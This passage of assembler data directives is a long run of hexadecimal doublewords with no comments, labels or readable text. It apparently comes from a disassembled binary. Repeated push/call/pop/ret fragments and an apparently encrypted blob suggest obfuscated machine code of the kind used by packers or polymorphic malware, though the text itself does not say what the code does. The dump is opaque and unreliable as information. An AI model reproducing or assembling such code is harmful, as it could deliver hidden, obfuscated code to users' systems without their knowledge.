0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0EA4658Dh, 7E8h, 0EC3C2B00h, 0E1B8462Bh, 0BE8h, 3BD7AA00h dd 6B7FA85Ah, 199D1D10h, 800Fh, 5F5E0000h, 219D8B60h, 89062230h dd 22193195h, 8B666106h, 623E8F3h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0F77EF7C3h dd 0FBDABE3h, 8589C9BFh, 622140Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 2AC35040h, 8881DCD0h, 8A0FBE66h dd 0CEE884B1h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 7312C352h, 42C3FB48h dd 218589BAh, 60062200h, 0FCD0B70Fh, 59BE861h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F85BB1C3h, 0E18D29B7h, 89062204h, 2219F585h, 0E8C7B506h dd 569h, 31B503h, 0D1810622h, 2BF1431Ah, 2A4D8589h, 6A0622h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0DDE614C3h, 89BD9B4Dh, 22206185h, 52BE806h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 29538DC3h, 223035BDh, 0D9858906h, 0F06220Eh, 58Dh, 0DE816600h dd 8B560F5Ch, 2231A9BDh, 0EAE85906h, 8B000004h, 2201B9BDh dd 0B5858906h, 6A06221Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0CD39C350h, 0D4A7C270h dd 0BE66F91Dh, 0B0C752h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 6C35545h, 19D955Ah, 0B60FCA2Dh, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8962D283h, 22113585h, 4F36BE06h, 6BA3FADh, 66000000h dd 0C38BF28Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 79C35545h, 85388CE8h, 0CA8B663Dh, 6A04E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2620C357h, 2DCE2A44h, 667D5D01h, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 40D2C9C3h dd 7E90Ch, 0B4E30000h, 12185F7Ah, 6AD82BA3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 12C8C350h, 0C3FB4873h, 8E9BA42h, 40000000h, 22052E87h dd 5036C528h, 0EE8h, 26F0AF00h, 63FF1914h, 2B0FD5FDh, 0FA4BD1Bh dd 683h, 0F525000h, 5F585A31h, 8B241C89h, 2219D1BDh dd 0C995FF06h, 6A062220h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 7D80C350h, 89BD8BD2h dd 0BE062200h, 717BD6F9h, 6E9BD33h, 6A5B0622h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 2FD2C350h, 75958D32h, 3062226h, 221A71BDh, 661A8906h dd 4289F28Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 958DFF87h, 62226BDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0AAC35141h, 8B417F9Eh dd 2234E5BDh, 14E806h, 0B3BC0000h, 86EB1F2Bh, 0D9F7C487h dd 90F2CD53h, 19D0ADEDh, 8D2B1203h, 6220489h, 0FC1A895Fh dd 6A044289h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0B5E8C352h, 2BD531D0h, 8B9A1749h dd 2211658Dh, 1958D06h, 0BE062221h, 70832B8Ah, 6A1A89h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 4ED257C3h, 89D7D2B6h, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 958DA4C3h, 6221511h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B6C35040h dd 0B958040h, 58508F5Dh, 6830Fh, 8D8B0000h, 6221D45h, 6A1A89h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 20E6C1C3h, 0CC2D5BA4h, 6A044289h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0F97CC351h dd 8D894DEEh, 6221035h, 171958Dh, 870F0622h, 0Ah, 5E9h dd 7795600h, 0BD8B9893h, 6221319h, 6A1A89h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 98EBC3h, 9DBD0BAAh dd 81062208h, 0B5E153EFh, 442892Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 56C35040h, 8F6D35F1h, 0DB81E1E0h dd 8E0Fh, 958D0000h, 62228C9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0F8C35242h, 2FAD9D89h, 1A890622h dd 0C27621BEh, 4428905h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 98C35545h, 2D8589B2h, 0F906221Eh, 10D9958Dh dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 895CB8C3h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 850F692Fh, 15h, 10E9h dd 0DBDBDB00h, 3 dup(0DBDBDBDBh), 44289DBh, 76D78166h dd 0FE8B66FBh, 145958Dh, 0BD2B0622h, 62215F1h, 6A1A89h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0CBFB10C3h, 2FD59D81h, 442893Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0EFC35646h, 0B70F470Ch, 0F5E9F9h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0CD8002C3h, 6890F11h, 8B000000h, 220F0D8Dh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 898DC357h, 0AE9BC86Ah, 0DE9h dd 51B89600h, 519C9901h, 266B259Dh, 8B66026Dh, 6A006AF3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0BE0AC350h, 2914CC0Bh, 22317585h, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0EAB3C356h, 2332CC29h, 8D01006Ah, 62232D9h dd 21158D23h, 95FF0622h, 6221F15h, 1ABDB589h, 6AC30622h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 9DD1C357h, 0AB119DA5h, 48A0F3Bh, 66000000h dd 8A3ADDBEh, 52006AC5h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 74965C41h, 0A49F8757h, 55DB58Bh dd 0C08B0622h, 19A99D89h, 0BD830622h, 62208DDh, 83097500h dd 220A21BDh, 19740006h, 0C08B5350h, 438B8h, 59858900h dd 8D06220Eh, 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah dd 53501774h, 438B8h, 59858900h, 8D06220Eh, 24BCD19Dh dd 5BD3FF06h, 0CFB70F58h, 0B0C98166h, 8DC08BD7h, 222CB585h dd 0E1BD8B06h, 90062231h, 0E6ECBB66h, 0BB665750h, 905F7FF9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 75C35646h dd 0F2349CE6h, 0AA8CF211h, 6AFC35h, 8B66006Ah, 11858DD9h dd 6A06264Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 1B70C356h, 2AA8BF40h, 0E97F800Ah dd 7, 0B239C21Ah, 833F6BDCh, 6A05C0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8BB4C3h dd 6222A05h, 10E96090h, 0F5000000h, 12CE8949h, 0FF359C9h dd 8BE8959h, 605B1AA5h, 8B66F88Bh, 506161D9h, 90FE8B66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1EC35747h dd 0BF434D75h, 8F98501h, 6A0622h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 7EC35141h, 0A7C73069h, 6A38F183h dd 0FFB70F00h, 355595FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 5116A1C3h, 963EDCF7h dd 0A90F8D8Dh, 0BD8B0625h, 62220CDh, 14B9BD2Bh, 0D1FF0622h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C9C35646h dd 0B06BDF25h, 1335B589h, 0BF0F0622h, 0F5BD83DFh, 1062200h dd 93850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0D24058C3h, 0BFC48F71h, 0C780C18Ch dd 8B026A8Fh, 820F50DFh, 4, 5FDF8B52h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0A227C357h, 182295D1h, 2B911B7Fh, 682F85BBh, 0F781663Eh dd 95FF68AAh, 6220285h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 5AC35646h, 8B3B1DCEh, 2225B9BDh, 0DA9E906h dd 0E80000h, 5D000000h, 4C1BED81h, 0B70F0626h, 0D18529FBh dd 8D062221h, 25934585h, 8B90FC06h, 6A9050F8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8AAAC351h, 9253685Fh, 0D192518Bh, 314D8509h, 0FF640622h dd 35h, 68E0F00h, 81000000h, 0BC42F9F7h, 25896466h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 27C35040h dd 3DE09B0Ah, 0B185FFD9h, 66062208h, 6A3A40BBh, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BDC5998h, 0A5B5FFF9h, 6A062234h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0B034C356h dd 3595FFEAh, 0E906221Ch, 126h, 20B18D31h, 0FE8B0622h dd 9D8B00B0h, 6221BF1h, 48BF70E6h, 0E4477220h, 0D1BD8B71h dd 3C062234h, 0FF830F61h, 81000000h, 8C1408E7h, 0C8B60F20h dd 2A299D8Bh, 6BA0622h, 8B000000h, 220B359Dh, 0C1C18B06h dd 8E0F04E8h, 0Dh, 8E9h, 246C1900h, 0B6D8E904h, 0E2F76674h dd 1411BD33h, 0C82B0622h, 0ACA3A9BFh, 78A0F45h, 0F000000h dd 187h, 0D18BF900h, 10E9h, 0AB5BFA00h, 0FDD4875h, 7402AAA3h dd 404DA063h, 0E9FE8B71h, 5, 0BA6173BBh, 75858B49h, 0F8062226h dd 3107C083h, 22184DBDh, 0C08306h, 473004BFh, 6840F2Bh dd 89000000h, 2231B99Dh, 0FD03B06h, 1083h, 0DB816600h dd 57E9D61Dh, 8B000000h, 2208B5BDh, 0A18D8B06h, 53062214h dd 148C0Fh, 0FE90000h, 0E8000000h, 0C7FC5AA7h, 54F633h dd 8BAAA216h, 835BB749h, 840F01E1h, 26h, 0A583FD8Ah, 62214A1h dd 0CE9FEh, 97010000h, 0C5704633h, 0C0A7BE8Eh, 9589CD1Dh dd 6222675h, 0E9F9h, 0B58D0000h, 625E17Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3BC35747h, 0E781006Ah dd 20AD22ACh, 20F99D8Bh, 95FF0622h, 6223075h, 1D559D8Bh dd 0FCB90622h, 83000006h, 8BFCFCE1h, 222659BDh, 719D8B06h dd 0B8062220h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D3C35646h dd 63E172CDh, 9D89D22Bh, 6221EC5h, 0CE9h, 8D0F600h, 0F86DD4B7h dd 7F9187C9h, 0C233AD9Ah, 0D003E8D1h, 7504E983h, 0C78166F4h dd 6A024Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0AC225C3h, 0CF804FA8h, 0AD9D2BFDh, 0D062221h dd 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 98C35343h, 1BEC0C26h, 0B1B5894Ch, 0BB06220Eh, 76806D2h dd 33F1958Bh, 8B660622h, 318D8BDAh, 6A06222Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0C1B1C351h, 8B509EB3h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0B70F57FCh, 6A5FD9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 1CBD03C3h, 43BF562Ah dd 0E9180075h, 13h, 0A59DD17Ah, 3BAB119Dh, 4D3DECCEh, 0D635A07Bh dd 83BCB8BBh, 222C69BDh, 840F0006h, 82h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h, 79D2987Dh dd 8D8B60BBh, 62207D5h, 11E960h, 8CD60000h, 0DB55084Eh dd 927F594Dh, 0BF9F881Fh, 9806A31h, 22081995h, 0B8616106h dd 0 dd 0EF59589h, 8D8D0622h, 62250B1h, 0EE9h, 251F2500h, 7AFB655h dd 0F738BEB9h, 0FFE73AEDh, 870F60E1h, 3, 0FFEB70Fh, 480h dd 76B86600h, 0BD8361FFh, 62230E5h, 45840F00h, 0F000004h dd 18Eh, 0BD83F500h, 62230E5h, 4C840F01h, 0E8000004h, 11h dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 0D3EF81B9h dd 5B3EEDEDh, 30E5BD83h, 0F030622h, 3EC86h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 724DEA2Fh, 0E9871161h, 0C99D89E9h, 60062200h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3CC35545h, 0D9F132DAh dd 0EADA8485h, 619D294Ah, 306220Eh, 221D39BDh, 0D98C6606h dd 0E180DF8Bh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0F4541A94h, 0C90AD98Ah dd 105840Fh, 0DE80000h, 69000000h, 12EB5B3Ah, 0A86E4E4h dd 0D66C83B4h, 0A399D23h, 8B5B0622h, 2210B985h, 57EB8106h dd 332584DAh, 2208A585h, 0F88B6606h, 50EFB790h, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0EE836E95h, 0B20D3F7h, 5F16CF81h, 6AF57927h, 0DE8B6600h dd 5868F98Bh, 5201295Dh, 0E32DBF66h, 2434815Bh, 1365EA7h dd 2175BD8Bh, 95FF0622h, 6221E91h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0DFC35242h, 0EB858997h, 6A0625CAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 1EDCC352h, 6150AEABh, 311B501h, 0C1E90622h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 8573C351h, 0B8B0Fh, 6E90000h dd 5B000000h, 0A52882C8h, 75BD037Ah, 8B06221Ch, 25CAE385h dd 0E5B58906h, 0C706221Eh, 1800h, 71858900h, 8B062226h dd 25CAE7B5h, 458D0906h, 0E9062200h, 0Dh, 2FAC39B4h, 0B2FFE26Ch dd 208FAD52h, 65858BB7h, 6A06220Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 193DC356h dd 689F976h, 8BD9BF0Fh, 2210B985h, 0DB816606h, 46895DF2h dd 45858904h, 50062200h, 1F55BB52h, 895F3608h, 6A2434h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 6E4064C3h, 0F60F380h, 381h, 0DA8B6600h, 2B61D38Bh, 222A95BDh dd 0E3B5FF06h, 660625CAh, 68A228BBh, 8542320Bh, 9A492BFh dd 24048139h, 7ADCD1F4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 30C35545h, 521BEA15h, 57DA0BDCh, 0E98D899Dh dd 8D062228h, 25CAEB85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 3CDCFD68h, 8B667C2Fh dd 0BF6650DFh, 489598Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0E8292E83h, 0FF98F5Ch dd 8D29608Fh, 62202F5h, 19658D8Bh, 0FF610622h, 221E9195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0AE967h, 0EADD0000h, 20BDFF13h, 257954D5h dd 0E585C761h, 3062230h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ED5EC352h dd 0FF261D9Bh, 9D8B4DD6h, 6222CEDh, 1F820Fh, 0EE80000h dd 55000000h, 7B1D8EE2h, 515947D0h, 86BE5F30h, 6E9BCh dd 71B00000h, 0BD5F059Dh, 0EBBD835Fh, 625CAh, 67840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0E29F95C3h, 7E860h, 27ED0000h, 4972E558h dd 0D8B70FA8h, 0D3816658h, 56611EF9h, 8E19D8Bh, 0E95F0622h dd 40h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 0C5C35040h, 8B4A7FC1h, 22210DBDh, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 53006AF5h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 1AF990FEh, 1581BB07h, 0BD83214Eh, 62230E5h, 0A4850F03h dd 8B000004h, 2219C9BDh, 0EBBD8306h, 625CAh, 491840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 86C5B8C3h, 41B6449h, 0CAEBB5FFh, 9D890625h dd 6222D5Dh, 1DCD95FFh, 95890622h, 6221AD5h, 14E9h, 4FE73400h dd 1CA4C3C5h, 199EFC43h, 0C90C9991h, 2B20B383h, 0DFB58BEAh dd 6A0625CAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 5B4BC350h, 0E2798BFAh, 89CBBECAh dd 222685BDh, 6C7FC06h, 10001h, 38D0Fh, 0BF0F0000h, 8E996FFh dd 43000000h, 2391E3A5h, 50005316h, 9DBF6657h, 0F965F17h dd 0B5FFD9BFh, 625CAEBh, 0FFF8B70Fh, 22254195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E9921D6Fh, 10h, 8540211Ah, 4E050275h, 1DC679E7h, 8D8AF0A3h dd 12E9h, 0A5F80900h, 44B347CAh, 0F2BEB361h, 0D1E09FA3h dd 8B33A64Bh, 25CADFB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 68747169h, 5960002Eh dd 8C0F5FD4h, 16h, 0EE8h, 0EC01FA00h, 80ED75BEh, 0BF6ED938h dd 569751B6h, 9E95B5Bh, 4E000000h, 74CB6E0h, 8D39F0Ch dd 1B2D858Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F5E80EC3h, 2A219D8Bh, 86890622h dd 0C4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 4BC35646h, 33F1958Bh, 830F0622h, 0 dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0EB72C357h, 0EB14288Bh, 4C559BA5h dd 205089F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 1AC35343h, 0DCA5D28Ch, 2119D03h, 830F0622h, 6 dd 129DBD8Bh, 858D0622h, 625DEBCh, 13E9h, 0D593F200h, 0DDE311C5h dd 0A9AFD8A8h, 0F5B9DCE8h, 8D8FBDFh, 0B88689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 22F376C3h, 55D1E296h, 8B66EDBAh, 0D88B66D9h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0C455E3C3h, 32C59C4Dh, 0FF8161C2h, 25CAEBB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 5E3ED472h, 0F1BD568Ch, 6880F52h, 29000000h, 22129195h dd 8595FF06h, 6A062202h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0DC1CC356h, 0AE9B72Dh dd 0A4000000h, 0D9C3A8DEh, 9785EA17h, 58C0F57h, 0BF000000h dd 5C806A8Eh, 0FE85250h, 0E5000000h, 0E4AB1C4Ch, 185DEA1Fh dd 6CD27D80h, 5250F497h, 585A310Fh, 34895F5Fh, 91BD8B24h dd 8B062207h, 0EBB5FFDAh, 8B0625CAh, 221DFDBDh, 0F595FF06h dd 6A06221Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0BD53C356h, 0BD83A02Ch, 6221331h dd 36840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2094C357h, 0C9E5A942h dd 8B66C7EAh, 7EBF96DEh, 5057909Eh, 8B9661B3h, 2235399Dh dd 0EBB5FF06h, 600625CAh, 48B2D18Bh, 4195FF61h, 8B06221Dh dd 222AA5BDh, 0EBB5FF06h, 6A0625CAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3FDFC350h dd 0E30D2423h, 78AE2B9h, 2FC595FFh, 6A0622h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E9F4E2C3h dd 14h, 474479D5h, 792E935Dh, 0C2BAA86Fh, 0FCEB6D19h, 2E8EB5E6h dd 83D98B66h, 2202A9BDh, 840F0206h, 5Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 12C35343h, 8423932h dd 0CD9D8B39h, 8B062226h, 2200E185h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 4E0BD00Fh dd 0C99D8B4Dh, 0C6062208h, 0ACBB0000h, 0C72B891Eh, 22197D85h dd 6, 0F59D8B00h, 0E9062234h, 0FFFFF317h, 15BD8B51h, 5B062222h dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 44BD7BC3h, 0B3BBB13Bh, 0E9408BBBh, 6, 3A5AEACCh dd 5CE90000h, 0B8000005h, 1E036AD5h, 8AB7DE6Dh, 0E22F4605h dd 5C45AC97h, 8CFA1532h, 6CDBA3ECh, 0D16E1C05h, 44FF89B6h dd 0AF98E42Dh, 20FC9D44h, 411C6218h, 5FC959FDh, 0C21E2D52h dd 396AD5A7h, 0B8A9DFDCh, 3A3BD4E4h, 33723947h, 549DC3E2h dd 0BFFC1D2Ah, 0B6C25ACBh, 5B473A3Bh, 0A1CC1150h, 0A071073h dd 5796C784h, 3B2E7A32h, 0E8C3473Ah, 44FF8DB4h, 0A6A5D623h dd 0F0252269h, 115E6FB5h, 6E83D06Bh, 0B0FD2E1Dh, 2D7EC9h dd 0BA92C37Ch, 8F7DB137h, 5E2E0662h, 0F3858AE5h, 88F02148h dd 39416EBFh, 8E73D90Ah, 8BBECA6Ah, 0ED044704h, 3E6FD8A4h dd 3A3B5D6Eh, 0EC0CF547h, 0F3DBA8A5h, 9CC151h, 473A37F8h dd 0C3429E1Dh, 6Bh, 3A05774Bh, 32FC64DDh, 5272E680h, 0DAA3B439h dd 72AEC24Ch, 7173992Bh, 10E1473Ah, 2D9374D8h, 0A724A73Eh dd 0E964B0ECh, 0CC51F32Ch, 1, 4704775Ah, 95B2D916h, 2BE59374h dd 0EBC0216Fh, 8910B16Eh, 0FB347768h, 5F6EB28Dh, 8FDC6712h dd 5CD810D9h, 0D2711E2Fh, 45377893h, 70249DFAh, 0E95638B2h dd 2D503B0Ch, 7736ECF7h, 0EEEB3807h, 45028C89h, 0F703D510h dd 1A473A3Bh, 57244D93h, 0F37CBBE8h, 0F19A9775h, 9BE30E52h dd 305C45ACh, 0E6A9C617h, 92E73459h, 413764A9h, 8592D506h dd 1061CF63h, 92CE7903h, 533E5197h, 4A51F3DAh, 0D102414Dh dd 83C74E92h, 0F2000000h, 386DDAA5h, 6DBE89F3h, 3DD10F4Eh dd 1D26525Fh, 77D4BAC7h, 98E02D12h, 3BADFDAFh, 498473Ah dd 473A3BF4h, 0EAD9219h, 5F8CB7C1h, 88A5C01Ch, 7DEB3807h dd 0CEB074F4h, 65291671h, 75A6A1E8h, 89A6F736h, 43F4900h dd 0AD7FA4C5h, 473A3B9Dh, 0C6E73D70h, 26698F4Ah, 51F3DA3Bh dd 599Eh, 40483900h, 0D6F10451h, 7715A9F7h, 0C6EB3807h dd 0A4489B2h, 4E4BC127h, 9FDE0F3Ch, 0E9563841h, 477049Eh dd 8CF11647h, 3A3BC810h, 418E2D47h, 8D20E3Dh, 473A3BE7h dd 66B790F8h, 3B7F8B61h, 1B92473Ah, 499AA9D6h, 889EDA07h dd 0A0E701F0h, 51F3DBADh, 108h, 8771600h, 0B7C5EA3Bh, 6C125F8Ch dd 17618EDFh, 42AFFF2Ch, 0B9280026h, 0AD9AE53Fh, 51387542h dd 5A86A5F6h, 9BFC4330h, 1848BE01h, 0F5C5F49h, 213279CAh dd 0F86AD6F0h, 2478C7B7h, 0BDD46F1Dh, 0EE3F0874h, 1848085Eh dd 0CCC90C41h, 175687C0h, 2C0860C9h, 838CE760h, 0D01D4EF9h dd 52F19DACh, 28C401h, 0F5411848h, 234487C6h, 7DCAB1FEh dd 18489FABh, 0E53B7241h, 50A8A1C0h, 7A9FA8D4h, 48738715h dd 17A64118h, 0F97486C9h, 104BD168h, 96CA7503h, 1688Fh dd 0AB589700h, 0AA690364h, 9B49182Ah, 8986C310h, 0D11844FFh dd 2C32AABh, 0B59F25C3h, 0F13E1B72h, 4E6DBE8Dh, 0BCA5D712h dd 181CD8E0h, 3F7E3D41h, 3ABBC1EEh, 24ECD0B4h, 15325C65h dd 8D7693D2h, 50E5AD67h, 53F09A7Ah, 7EB9CC10h, 50783419h dd 354118B9h, 72390645h, 0A7A5C32Eh, 0FF251E6Ah, 1671CAB2h dd 0BB84F401h, 1154B6Ah, 4BD1594Ch, 3BA6DCA5h, 0C5AC474Ah dd 5EB69Fh, 589C0000h, 0BF0861A8h, 0FE781C2Eh, 8DCC1000h dd 73672B1Fh, 7EAF0E11h, 3A309AAEh, 43A5ACC7h, 0B97112CEh dd 28AC5F6Bh, 85C47F0Ah, 88608864h, 2695C73Ah, 0CF5D82E7h dd 0C73A88BBh, 3263E0AEh, 316F4EF3h, 0DFDC4C20h, 2C699173h dd 74B7E463h, 0C7B4F128h, 6413778h, 8EB1ACC7h, 9D000000h dd 364AB58h, 3B3A4EDEh, 0DCDF473Ah, 8DB5180h, 3D49183Dh dd 6EBF88F0h, 9518114Fh, 4D9D0F74h, 0A0411834h, 51B6D70Dh dd 0D00C3B44h, 2256E3A9h, 828FE619h, 401C41FAh, 411834C1h dd 0F269DA3Fh, 68F69011h, 3BBD84D8h, 41A893F9h, 85CE8F78h dd 9E358078h, 145B0842h, 0ADD139F3h, 0E9C44F3Eh, 4DF68390h dd 0D3B9F617h, 60113B68h, 3500308h, 0B2236E6h, 20F4555h dd 0F685CA79h, 0BBD90449h, 0F3C42F8Eh, 6A01EA12h, 0AAF60FB4h dd 64AB581Ah, 12816903h, 3974491Ch, 84B5C714h, 0E50C4FF8h dd 2677D0BCh, 0D0FF2A96h, 5B9D5454h, 6F88B3D9h, 3546920Ah dd 0AB0599h, 0FE8EB3DCh, 0AEDB1045h, 5CC4095h, 3B41E3h dd 0FC8390E9h, 81DF1E4Fh, 55251478h, 9B66B7F6h, 8, 69D6B9F6h dd 73CB9B2Bh, 0E83D0677h, 5D8EB9C3h, 8EDF6810h, 0F92A1961h dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h dd 0E7895769h, 4C781h, 0BB530000h, 4, 875BDF29h, 685C243Ch dd 6EA2h, 53241489h, 0C381E389h dd 4, 4EB81h, 1C870000h, 1C895C24h, 47BF5724h, 0BA53B16Dh dd 55973488h, 3C8BFA31h, 4C48124h, 81000000h, 4ECh, 24248900h dd 4240481h, 5B000000h, 24348152h, 7A856A02h, 5108438Fh dd 8B9h, 81D90100h, 856A0231h, 34FF597Ah, 0C4815B24h, 4 dd 5024148Bh, 405E089h, 5000000h, 4, 5C240487h, 0FC23C2E9h dd 0B5E888FFh, 2BD531D0h, 0B89A1749h, 6265E89h, 0E0FFC503h dd 178517DCh, 75E5723Fh, 5C449006h, 